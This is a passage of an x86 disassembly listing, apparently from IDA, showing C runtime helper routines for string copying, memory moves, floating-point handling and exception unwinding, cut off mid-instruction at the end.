--------------------------------------------------------------------------- loc_41C8E3: ; CODE XREF: sub_41C880+4Bj sub edi, 3 jmp short loc_41C8EB ; --------------------------------------------------------------------------- loc_41C8E8: ; CODE XREF: sub_41C880+47j sub edi, 4 loc_41C8EB: ; CODE XREF: sub_41C880+5Cj ; sub_41C880+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C900 mov ebx, ecx shr ecx, 2 jnz short loc_41C94C jmp short loc_41C91C ; --------------------------------------------------------------------------- loc_41C900: ; CODE XREF: sub_41C880+75j ; sub_41C880+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C93A mov [edi], dl inc edi dec ecx jz short loc_41C930 test esi, 3 jnz short loc_41C900 mov ebx, ecx shr ecx, 2 jnz short loc_41C94C loc_41C91C: ; CODE XREF: sub_41C880+7Ej ; sub_41C880+CAj mov ecx, ebx and ecx, 3 jz short loc_41C930 loc_41C923: ; CODE XREF: sub_41C880+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C932 dec ecx jnz short loc_41C923 loc_41C930: ; CODE XREF: sub_41C880+8Bj ; sub_41C880+A1j mov [edi], cl loc_41C932: ; CODE XREF: sub_41C880+ABj pop ebx pop esi loc_41C934: ; CODE XREF: sub_41C880+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C93A: ; CODE XREF: sub_41C880+85j ; sub_41C880+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C944: ; CODE XREF: sub_41C880+E4j ; sub_41C880+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C91C loc_41C94C: ; CODE XREF: sub_41C880+7Cj ; sub_41C880+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C944 test dl, dl jz short loc_41C93A test dh, dh jz short loc_41C998 test edx, 0FF0000h jz short loc_41C988 test edx, 0FF000000h jnz short loc_41C944 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C988: ; CODE XREF: sub_41C880+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C998: ; CODE XREF: sub_41C880+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9B0 proc far ; CODE XREF: sub_40BEB3+15p ; sub_40BEB3+3Bp ... arg_FFFFFFFC = dword ptr 8 arg_0 = dword ptr 0Ch arg_4 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edi, [ebp+arg_FFFFFFFC] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C9D0 cmp edi, eax jb loc_41CB48 loc_41C9D0: ; CODE XREF: sub_41C9B0+16j test edi, 3 jnz short loc_41C9EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- loc_41C9EC: ; CODE XREF: sub_41C9B0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CA04 and eax, 3 add ecx, eax jmp dword ptr loc_41CA0C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CA04: ; CODE XREF: sub_41C9B0+46j jmp dword ptr loc_41CB08[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CA0C: ; CODE XREF: sub_41C9B0+31j ; sub_41C9B0+8Ej ... jmp off_41CA8C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CA20 dd offset loc_41CA4C dd offset loc_41CA70 ; --------------------------------------------------------------------------- loc_41CA20: ; DATA XREF: sub_41C9B0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CA4C: ; DATA XREF: sub_41C9B0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CA70: ; DATA XREF: sub_41C9B0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CA0C rep movsd jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CA8C dd offset loc_41CAEF ; DATA XREF: sub_41C9B0:loc_41CA0Cr dd offset loc_41CADC dd offset loc_41CAD4 dd offset loc_41CACC dd offset loc_41CAC4 dd offset loc_41CABC dd offset loc_41CAB4 dd offset loc_41CAAC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CAB4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CABC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CAC4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CACC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CAD4: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CADC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CAEF: ; CODE XREF: sub_41C9B0:loc_41CA0Cj ; DATA XREF: sub_41C9B0:off_41CA8Co jmp off_41CAF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CAF8 dd offset loc_41CB08 ; DATA XREF: sub_41C9B0+35r ; sub_41C9B0+92r ... dd offset loc_41CB10 dd offset loc_41CB1C dd offset loc_41CB30 ; --------------------------------------------------------------------------- loc_41CB08: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CB10: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CB1C: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CB30: ; CODE XREF: sub_41C9B0+35j ; sub_41C9B0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CB48: ; CODE XREF: sub_41C9B0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CB7C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CB70: ; CODE XREF: sub_41C9B0+1B1j ; sub_41C9B0+208j ... neg ecx jmp off_41CC40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB7C: ; CODE XREF: sub_41C9B0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CB94 and eax, 3 sub ecx, eax jmp dword ptr loc_41CB94+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB94: ; CODE XREF: sub_41C9B0+1D6j ; DATA XREF: sub_41C9B0+1DDr jmp off_41CC90[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 0CBh inc ecx add al, cl retf ; --------------------------------------------------------------------------- inc ecx add al, dh retf ; --------------------------------------------------------------------------- inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CB70 std rep movsd cld jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CC44 dd offset loc_41CC4C dd offset loc_41CC54 dd offset loc_41CC5C dd offset loc_41CC64 dd offset loc_41CC6C dd offset loc_41CC74 off_41CC40 dd offset loc_41CC87 ; DATA XREF: sub_41C9B0+1C2r ; --------------------------------------------------------------------------- loc_41CC44: ; DATA XREF: sub_41C9B0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CC4C: ; DATA XREF: sub_41C9B0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CC54: ; DATA XREF: sub_41C9B0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CC5C: ; DATA XREF: sub_41C9B0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CC64: ; DATA XREF: sub_41C9B0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CC6C: ; DATA XREF: sub_41C9B0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CC74: ; DATA XREF: sub_41C9B0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CC87: ; CODE XREF: sub_41C9B0+1C2j ; DATA XREF: sub_41C9B0:off_41CC40o jmp off_41CC90[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CC90 dd offset loc_41CCA0 ; DATA XREF: sub_41C9B0+1B7r ; sub_41C9B0:loc_41CB94r ... dd offset loc_41CCA8 dd offset loc_41CCB8 dd offset loc_41CCCC ; --------------------------------------------------------------------------- loc_41CCA0: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCA8: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCB8: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CCCC: ; CODE XREF: sub_41C9B0+1B7j ; sub_41C9B0:loc_41CB94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_FFFFFFFC] pop esi pop edi leave retn sub_41C9B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE5 proc near ; CODE XREF: sub_40BEFB+40p ; sub_40F168+257p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B890 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420375 add esp, 10h leave retn sub_41CCE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CD19(double) sub_41CD19 proc near ; CODE XREF: sub_40CF3C+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_442520 call sub_42164E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CD9F call sub_421516 pop ecx test eax, eax pop ecx jle short loc_41CD82 cmp eax, 2 jle short loc_41CD74 cmp eax, 3 jnz short loc_41CD82 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420E26 add esp, 10h jmp short loc_41CDE4 ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD19+3Fj push esi push ebx call sub_42164E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CDE4 ; --------------------------------------------------------------------------- loc_41CD82: ; CODE XREF: sub_41CD19+3Aj ; sub_41CD19+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CDDC ; --------------------------------------------------------------------------- loc_41CD9F: ; CODE XREF: sub_41CD19+2Fj call sub_4214DB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CDC2 loc_41CDB4: ; CODE XREF: sub_41CD19+ACj push esi push ebx call sub_42164E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CDE4 ; --------------------------------------------------------------------------- loc_41CDC2: ; CODE XREF: sub_41CD19+99j test bl, 20h jnz short loc_41CDB4 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CDDC: ; CODE XREF: sub_41CD19+84j call sub_420E79 add esp, 1Ch loc_41CDE4: ; CODE XREF: sub_41CD19+59j ; sub_41CD19+67j ... pop esi pop ebx leave retn sub_41CD19 endp ; =============== S U B R O U T I N E ======================================= sub_41CDE8 proc near ; CODE XREF: sub_41BE34+9p ; sub_421717+21p ; DATA XREF: ... call sub_41CE00 call sub_421717 mov dword_4E154C, eax call sub_4216C7 fnclex retn sub_41CDE8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41CE00 proc near ; CODE XREF: sub_41CDE8p mov eax, offset sub_421B05 mov off_442B0C, offset loc_42179A mov off_442B08, eax mov off_442B10, offset sub_421800 mov off_442B14, offset sub_421740 mov off_442B18, offset loc_4217E8 mov off_442B1C, eax retn sub_41CE00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE38 proc near ; CODE XREF: sub_40CF3C+1Bp ; sub_40CF3C+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CE38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CE5F(double) sub_41CE5F proc near ; CODE XREF: sub_40CF88+82p ; .nsp0:0040DF8Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_442538 call sub_42164E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CEE5 call sub_421516 pop ecx test eax, eax pop ecx jle short loc_41CEC8 cmp eax, 2 jle short loc_41CEBA cmp eax, 3 jnz short loc_41CEC8 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420E26 add esp, 10h jmp short loc_41CF2A ; --------------------------------------------------------------------------- loc_41CEBA: ; CODE XREF: sub_41CE5F+3Fj push esi push ebx call sub_42164E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CF2A ; --------------------------------------------------------------------------- loc_41CEC8: ; CODE XREF: sub_41CE5F+3Aj ; sub_41CE5F+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CF22 ; --------------------------------------------------------------------------- loc_41CEE5: ; CODE XREF: sub_41CE5F+2Fj call sub_4214DB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CF08 loc_41CEFA: ; CODE XREF: sub_41CE5F+ACj push esi push ebx call sub_42164E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CF2A ; --------------------------------------------------------------------------- loc_41CF08: ; CODE XREF: sub_41CE5F+99j test bl, 20h jnz short loc_41CEFA fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CF22: ; CODE XREF: sub_41CE5F+84j call sub_420E79 add esp, 1Ch loc_41CF2A: ; CODE XREF: sub_41CE5F+59j ; sub_41CE5F+67j ... pop esi pop ebx leave retn sub_41CE5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF2E proc near ; CODE XREF: sub_421F76+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CF2E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41CF62 proc near ; CODE XREF: sub_422127+199p ; sub_4222EB+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CF62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CF69 proc near ; CODE XREF: sub_422127+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41CF69 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF70 proc near ; CODE XREF: sub_41D122+5Cp ; sub_421F76:loc_421FA7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41CF98 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_4265EE ; RtlUnwind loc_41CF98: ; DATA XREF: sub_41CF70+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41CF70 endp ; --------------------------------------------------------------------------- loc_41CFBF: ; CODE XREF: .nsp0:00426C90j ; .nsp0:00426CADj ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421B7B add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF5 proc near ; CODE XREF: sub_421FF1+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D049 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422380 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41CFF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D049 proc near ; DATA XREF: sub_41CFF5+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421B7B add esp, 20h pop ebp retn sub_41D049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D06E proc near ; CODE XREF: sub_421DBD+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D122 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D0F4 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4E15A0 pop ecx pop ecx and [ebp+var_34], 0 loc_41D0F4: ; DATA XREF: sub_41D06E+3Co cmp [ebp+var_4], 0 jz short loc_41D111 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D11A ; --------------------------------------------------------------------------- loc_41D111: ; CODE XREF: sub_41D06E+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D11A: ; CODE XREF: sub_41D06E+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D06E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D122 proc near ; DATA XREF: sub_41D06E+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D145 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D192 ; --------------------------------------------------------------------------- loc_41D145: ; CODE XREF: sub_41D122+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421B7B add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D183 push [ebp+arg_0] push [ebp+arg_4] call sub_41CF70 loc_41D183: ; CODE XREF: sub_41D122+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D192: ; CODE XREF: sub_41D122+21j pop edi pop esi pop ebx pop ebp retn sub_41D122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D197 proc near ; CODE XREF: sub_421C16+C6p ; sub_421DBD+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D1EE loc_41D1B5: ; CODE XREF: sub_41D197+52j cmp esi, 0FFFFFFFFh jnz short loc_41D1BF call sub_422422 loc_41D1BF: ; CODE XREF: sub_41D197+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D1D4 cmp ecx, [eax+8] jle short loc_41D1D9 loc_41D1D4: ; CODE XREF: sub_41D197+36j cmp esi, 0FFFFFFFFh jnz short loc_41D1E5 loc_41D1D9: ; CODE XREF: sub_41D197+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D1E5: ; CODE XREF: sub_41D197+40j cmp [ebp+arg_4], 0 jge short loc_41D1B5 mov eax, [ebp+var_4] loc_41D1EE: ; CODE XREF: sub_41D197+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D202 cmp esi, eax jbe short loc_41D207 loc_41D202: ; CODE XREF: sub_41D197+65j call sub_422422 loc_41D207: ; CODE XREF: sub_41D197+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D197 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D214 proc near ; CODE XREF: sub_4233D4+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41D22C push [ebp+arg_0] call sub_4265EE ; RtlUnwind loc_41D22C: ; DATA XREF: sub_41D214+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D214 endp ; =============== S U B R O U T I N E ======================================= sub_41D234 proc near ; DATA XREF: sub_41D256+Ao ; sub_41D2BE+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D255 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D255: ; CODE XREF: sub_41D234+10j retn sub_41D234 endp ; =============== S U B R O U T I N E ======================================= sub_41D256 proc near ; CODE XREF: sub_422097+Dp ; sub_4233D4+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D234 push large dword ptr fs:0 mov large fs:0, esp loc_41D273: ; CODE XREF: sub_41D256:loc_41D2AEj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D2B0 cmp esi, 